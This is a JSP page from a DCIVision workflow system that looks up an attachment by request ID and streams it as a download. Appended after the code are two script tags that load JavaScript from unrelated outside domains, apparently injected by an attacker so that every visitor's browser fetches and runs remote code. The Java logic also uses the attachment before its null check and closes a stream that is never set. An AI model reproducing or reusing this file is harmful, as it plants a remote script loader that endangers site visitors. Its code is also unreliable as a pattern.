<%
/*
 * @(#)GetWorkflowProgressAttachment.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  GetWorkflowProgressAttachment.jsp

  This class is used to retrieve the document content from http

  @author          Angus Shiu
  @company         DCIVision Limited
  @creation date   05/02/2004
  @version         $Revision: 1.1.44.3 $
*/
%><%@page import="com.dcivision.dms.core.FileDownloader"
%><%@page import="java.io.*"
%><%@page import="java.sql.*"
%><%@page import="java.net.URLConnection"
%><%@page import="javax.sql.*"
%><%@page import="com.dcivision.framework.*"
%><%@page import="com.dcivision.framework.DataSourceFactory"
%><%@page import="com.dcivision.workflow.core.*"
%><%@page import="com.dcivision.workflow.bean.*"
%><%@page import="com.dcivision.framework.SessionContainer"
%><%@page import="org.apache.struts.action.Action"
%><%@page import="org.apache.commons.logging.LogFactory"
%><%@taglib uri="/WEB-INF/struts-bean.tld" prefix="bean"
%><%@taglib uri="/WEB-INF/struts-html.tld" prefix="html"
%><%@taglib uri="/WEB-INF/struts-logic.tld" prefix="logic"
%><jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/><%
Integer attachmentID = request.getParameter("ID") != null ? new Integer(request.getParameter("ID")) : new Integer(0);
Connection conn = null;
InputStream dataStream = null;
try {
  // Get the database connection.
  conn = DataSourceFactory.getConnection();
  
  WorkflowProgressManager progressManager = new WorkflowProgressManager(sessionContainer, conn);
  WorkflowProgressAttachment attachment = progressManager.getWorkflowProgressAttachmentWithContent(attachmentID);
  
  String contentType = HTTPUtility.getContentType(attachment.getAttachmentName());
  if (attachment != null) {
    FileDownloader fd = new FileDownloader();
    fd.setFileName(attachment.getAttachmentName());
    fd.setContentType(contentType);
    fd.setInputStream(attachment.getDataStream());
    fd.setRequest(request);
    fd.setResponse(response);
    fd.operate();
  }
}
catch (Exception e) {
  LogFactory.getLog(this.getClass()).error(e, e);
}
finally {
  try { dataStream.close(); } catch (Exception e) {}
  try { conn.close(); } catch (Exception ignore) {} finally { conn = null; }
}
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>